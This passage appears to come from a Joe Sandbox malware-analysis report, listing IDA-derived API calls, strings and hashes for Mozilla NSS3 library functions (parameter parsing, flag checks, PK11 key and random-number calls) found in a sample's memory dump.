isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5575C2,00000000,00000000,00000001), ref: 6C5A5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5575C2,00000000), ref: 6C5A5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C5A5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C5A50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5575C2), ref: 6C5A50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5A50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A5153
free.MOZGLUE(?), ref: 6C5A516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C5A517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A5195

Strings

parameters=, xrefs: 6C5A506B
library=, xrefs: 6C5A5043
config=, xrefs: 6C5A509B
nss=, xrefs: 6C5A5083
name=, xrefs: 6C5A5057

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: e9c77e1af7d9be71e646bf70dd71cd361d953602797d88f2113ffc8e3794c618
Instruction ID: cb64c078407ad8b6cd4a1c3ce49a578f6663ab042c4dc26d71ffb481fb0c2f9a
Opcode Fuzzy Hash: e9c77e1af7d9be71e646bf70dd71cd361d953602797d88f2113ffc8e3794c618
Instruction Fuzzy Hash: AA51FBB5A016066BEB00DF66DC41EAF37B8AF0624CF540420FC55E7741EB25E91ACBB6

Function 6C5A4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C594F51,00000000), ref: 6C5A4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C594F51,00000000), ref: 6C5A4C5B
PR_smprintf.NSS3(6C67AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C594F51,00000000), ref: 6C5A4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C594F51,00000000), ref: 6C5A4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C594F51,00000000), ref: 6C5A4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C594F51,00000000), ref: 6C5A4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C5A4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C5A4DA2
free.MOZGLUE(?), ref: 6C5A4DB9
free.MOZGLUE(00000000), ref: 6C5A4DCF

Strings

every, xrefs: 6C5A4CA1
rootFlags, xrefs: 6C5A4D47
slotFlags, xrefs: 6C5A4D34
timeout, xrefs: 6C5A4C91
rust, xrefs: 6C5A4D22
%s,%s, xrefs: 6C5A4C4B
0x%08lx=[%s %s], xrefs: 6C5A4D80
ootT, xrefs: 6C5A4D1A
any, xrefs: 6C5A4C96
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C5A4D9D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 5bc32c9f574610501fe24b0ed2aeae94b73ea887a3a3213ce3bd4032d6dc5b14
Instruction ID: 7e8a798a5885eb19f654b2f762661031228c90fc6214c2562c99a3bdfa19a11b
Opcode Fuzzy Hash: 5bc32c9f574610501fe24b0ed2aeae94b73ea887a3a3213ce3bd4032d6dc5b14
Instruction Fuzzy Hash: 8D41B2B1900141BBDB129FD69C80ABF3A75AF9230CF544124EC1A1B702EB35D815C7EB

Function 6C586910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C586943

Part of subcall function 6C5A4210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,99F052DF,flags,?,00000000,?,6C585947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C5A4220
Part of subcall function 6C5A4210: NSSUTIL_ArgGetParamValue.NSS3(?,GYXl,?,?,?,?,?,?,00000000,?,00000000,?,6C587703,?,00000000,00000000), ref: 6C5A422D
Part of subcall function 6C5A4210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C587703), ref: 6C5A424B
Part of subcall function 6C5A4210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C587703,?,00000000), ref: 6C5A4272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C586957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C586972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C586983

Part of subcall function 6C5A3EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C57C79F,?,6C586247,70E85609,?,?,6C57C79F,6C58781D,?,6C57BD52,00000001,70E85609,D85D8B04,?), ref: 6C5A3EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C5869AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C5869BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C5869D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C5869DF

Part of subcall function 6C5A4020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,74F84C80,?,6C5A50B7,?), ref: 6C5A4041

free.MOZGLUE(00000000), ref: 6C5869F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C586A04
free.MOZGLUE(00000000), ref: 6C586A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C586A29
free.MOZGLUE(00000000), ref: 6C586A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C586A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C586A5B

Strings

keyPrefix=, xrefs: 6C5869CC
flags, xrefs: 6C586937, 6C586942, 6C586956, 6C58696D
nokeydb, xrefs: 6C586968
configdir=, xrefs: 6C5869A4
certPrefix=, xrefs: 6C5869B8
nocertdb, xrefs: 6C586951
readOnly, xrefs: 6C58693D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 8b3dc2b2779353abb653d04786988c3578f6abc32240bf87f4891b1f4c4a00e6
Instruction ID: e9284da75963ea33eae06c7c3dd8c10d15b1a19bd757a1e75a884f2f1f6650e5
Opcode Fuzzy Hash: 8b3dc2b2779353abb653d04786988c3578f6abc32240bf87f4891b1f4c4a00e6
Instruction Fuzzy Hash: 724194B1E51305ABEB00DFB5AC81B5F77AC9F4524CF184830E906E6B41FB35DA1887A6

Function 6C586CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C586910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C586943
Part of subcall function 6C586910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C586957
Part of subcall function 6C586910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C586972
Part of subcall function 6C586910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C586983
Part of subcall function 6C586910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C5869AA
Part of subcall function 6C586910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C5869BE
Part of subcall function 6C586910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C5869D2
Part of subcall function 6C586910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C5869DF
Part of subcall function 6C586910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C586A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C586D8C
free.MOZGLUE(00000000), ref: 6C586DC5
free.MOZGLUE(?), ref: 6C586DD6
free.MOZGLUE(?), ref: 6C586DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C586E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C586E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C586E72
free.MOZGLUE(?), ref: 6C586EA7
free.MOZGLUE(?), ref: 6C586EC4
free.MOZGLUE(?), ref: 6C586ED5
free.MOZGLUE(00000000), ref: 6C586EE3
free.MOZGLUE(?), ref: 6C586EF4
free.MOZGLUE(?), ref: 6C586F08
free.MOZGLUE(00000000), ref: 6C586F35
free.MOZGLUE(?), ref: 6C586F44
free.MOZGLUE(?), ref: 6C586F5B
free.MOZGLUE(00000000), ref: 6C586F65

Part of subcall function 6C586C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C58781D,00000000,6C57BE2C,?,6C586B1D,?,?,?,?,00000000,00000000,6C58781D), ref: 6C586C40
Part of subcall function 6C586C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?), ref: 6C586C58
Part of subcall function 6C586C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C58781D), ref: 6C586C6F
Part of subcall function 6C586C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C586C84
Part of subcall function 6C586C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C586C96
Part of subcall function 6C586C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C586CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C586F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C586FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C586FF4

Strings

+`Yl, xrefs: 6C586D0D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`Yl
API String ID: 1304971872-836630381
Opcode ID: f7d729610f28fdc44d1632773222c0d31bc77f6bc3f6ebd4cdc21d99afb15289
Instruction ID: fab32d969014172cc37da897235db648bf5cdea52e080cbcaafce64e48e4cdcb
Opcode Fuzzy Hash: f7d729610f28fdc44d1632773222c0d31bc77f6bc3f6ebd4cdc21d99afb15289
Instruction Fuzzy Hash: 0BB16EB0E123299FEF00DFA5DC85B9EBBB4AF05349F140024E815E7A40EB35E914CBA5

Function 6C5A0550 Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 182stringCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6C585989), ref: 6C5A0571

Part of subcall function 6C531240: TlsGetValue.KERNEL32(00000040,?,6C53116C,NSPR_LOG_MODULES), ref: 6C531267
Part of subcall function 6C531240: EnterCriticalSection.KERNEL32(?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C53127C
Part of subcall function 6C531240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C531291
Part of subcall function 6C531240: PR_Unlock.NSS3(?,?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C5312A0

PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6C585989), ref: 6C5A05B7
PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6C585989), ref: 6C5A05C8
strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6C585989), ref: 6C5A05EC
strstr.VCRUNTIME140(00000001,?), ref: 6C5A0653
free.MOZGLUE(?,?,?,?,00000002,00000000,?,6C585989), ref: 6C5A0681
PORT_NewArena_Util.NSS3(00000800,?,?,?,?,00000002,00000000,?,6C585989), ref: 6C5A06AB
PL_NewHashTable.NSS3(00000000,6C59FE80,?,6C5EC350,00000000,00000000,?,?,?,?,?,00000002,00000000,?,6C585989), ref: 6C5A06D5
PL_NewHashTable.NSS3(00000000,?,6C5EC350,6C5EC350,00000000,00000000), ref: 6C5A06EC
PL_HashTableAdd.NSS3(?,6C66E618,6C66E618), ref: 6C5A070F

Part of subcall function 6C4C2DF0: PL_HashTableRawAdd.NSS3(?,?,?,?,?), ref: 6C4C2E35

PL_HashTableAdd.NSS3(FFFFFFFF,6C66E618), ref: 6C5A0738
PL_HashTableAdd.NSS3(6C66E634,6C66E634), ref: 6C5A0752
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,00000002,00000000,?,6C585989), ref: 6C5A0767

Strings

NSS_HASH_ALG_SUPPORT, xrefs: 6C5A05B2
dynamic OID data, xrefs: 6C5A068A
4fl, xrefs: 6C5A071B
flags, xrefs: 6C5A0555
NSS_ALLOW_WEAK_SIGNATURE_ALG, xrefs: 6C5A056C
$jl, xrefs: 6C5A0645
V, xrefs: 6C5A0559

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: HashTable$SecureUtil$Arena_CriticalEnterErrorSectionStrdup_UnlockValuefreegetenvstrchrstrstr
String ID: 4fl$NSS_ALLOW_WEAK_SIGNATURE_ALG$NSS_HASH_ALG_SUPPORT$V$dynamic OID data$flags$$jl
API String ID: 514890423-1569665048
Opcode ID: 09d26196ba1589db08084331c695694c079ebbaca5956413151240fa216b064e
Instruction ID: 9756f6bb7eaaef2dcc121c9794974e3ad337885f38b83426e54d811bac717aa1
Opcode Fuzzy Hash: 09d26196ba1589db08084331c695694c079ebbaca5956413151240fa216b064e
Instruction Fuzzy Hash: E551F8B1E502815FEB00CBA79C48B6F3BB5ABC635CF180526D819D7B51F731D8068BA5

Function 6C57E640 Relevance: 34.8, APIs: 23, Instructions: 266memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,6C588C5B,-00000001), ref: 6C57E655

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

PK11_GetIVLength.NSS3(-00000001,?,?,6C588C5B,-00000001), ref: 6C57E7DE
PORT_Alloc_Util.NSS3(00000000,?,?,?,6C588C5B,-00000001), ref: 6C57E7F4
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6C588C5B,-00000001), ref: 6C57E807
PK11_GetIVLength.NSS3(-00000001,?,?,6C588C5B,-00000001), ref: 6C57E81B
PORT_Alloc_Util.NSS3(00000000,?,?,?,6C588C5B,-00000001), ref: 6C57E82E
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6C588C5B,-00000001), ref: 6C57E841
free.MOZGLUE(00000000,?,?,?,?,?,?,6C588C5B,-00000001), ref: 6C57E852
PORT_Alloc_Util.NSS3(00000004,?,?,6C588C5B,-00000001), ref: 6C57E878
free.MOZGLUE(00000000,?,?,6C588C5B,-00000001), ref: 6C57E8AB
PORT_Alloc_Util.NSS3(0000000C,?,?,?,6C588C5B,-00000001), ref: 6C57E8B6
PORT_Alloc_Util.NSS3(00000008,?,?,?,?,6C588C5B,-00000001), ref: 6C57E8D4
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C57E9D5

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Alloc_$K11_$GenerateLengthRandomfree$Item_ValueZfreemalloc
String ID:
API String ID: 1964932494-0
Opcode ID: 12cf6527fa10776c7acdb339213a23751cbbe40370163e8d9aaf800b46ac2a0a
Instruction ID: f4bfdfd4fa2a59c647fde26757e13b4a464c6138d46e1c742df18c670bab4c22
Opcode Fuzzy Hash: 12cf6527fa10776c7acdb339213a23751cbbe40370163e8d9aaf800b46ac2a0a
Instruction Fuzzy Hash: 8A81D3B19017568FFB60CB699C817FF72E89B41348F20443AD81996A40F6B5D9D487F2

Function 6C5708F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C57094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C570953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C57096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C570974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C57098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C570995

Part of subcall function 6C571800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C571860
Part of subcall function 6C571800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C5709BF), ref: 6C571897
Part of subcall function 6C571800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5718AA
Part of subcall function 6C571800: memcpy.VCRUNTIME140(?,?,?), ref: 6C5718C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C570B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C570B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C570B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C570B78

Strings

exp, xrefs: 6C570B36
info_hash, xrefs: 6C5709E0
key, xrefs: 6C570ACB
base_nonce, xrefs: 6C570B06
psk_id_hash, xrefs: 6C5709B5
secret, xrefs: 6C570A88

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: dfed4768f8238550b143382d958a8628ceebc2dafb5e36589d8499ff3697600e
Instruction ID: c53c318028958774fadec2c7366ec6c10c0f62aa765014bd45f9f29dda68d6e3
Opcode Fuzzy Hash: dfed4768f8238550b143382d958a8628ceebc2dafb5e36589d8499ff3697600e
Instruction Fuzzy Hash: 5C818876604341AFC710CF65CC80A9AF7E8FF8C608F048919F99997751E731EA19CBA6

Function 6C582D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C582DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C582E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C582E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C582E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C554F1C,?,-00000001,00000000,?), ref: 6C582E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C554F1C,?,-00000001,00000000), ref: 6C582E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C582EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C582EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C582EF8
PR_Unlock.NSS3(?), ref: 6C582F62
TlsGetValue.KERNEL32 ref: 6C582F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C582F9E
PR_Unlock.NSS3(?), ref: 6C582FCA
TlsGetValue.KERNEL32 ref: 6C58301A
EnterCriticalSection.KERNEL32(?), ref: 6C58302E
PR_Unlock.NSS3(?), ref: 6C583066
PR_SetError.NSS3(00000000,00000000), ref: 6C583085
PR_Unlock.NSS3(?), ref: 6C5830EC
TlsGetValue.KERNEL32 ref: 6C58310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C583124
PR_Unlock.NSS3(?), ref: 6C58314C

Part of subcall function 6C569180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C59379E,?,6C569568,00000000,?,6C59379E,?,00000001,?), ref: 6C56918D
Part of subcall function 6C569180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C59379E,?,6C569568,00000000,?,6C59379E,?,00000001,?), ref: 6C5691A0

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
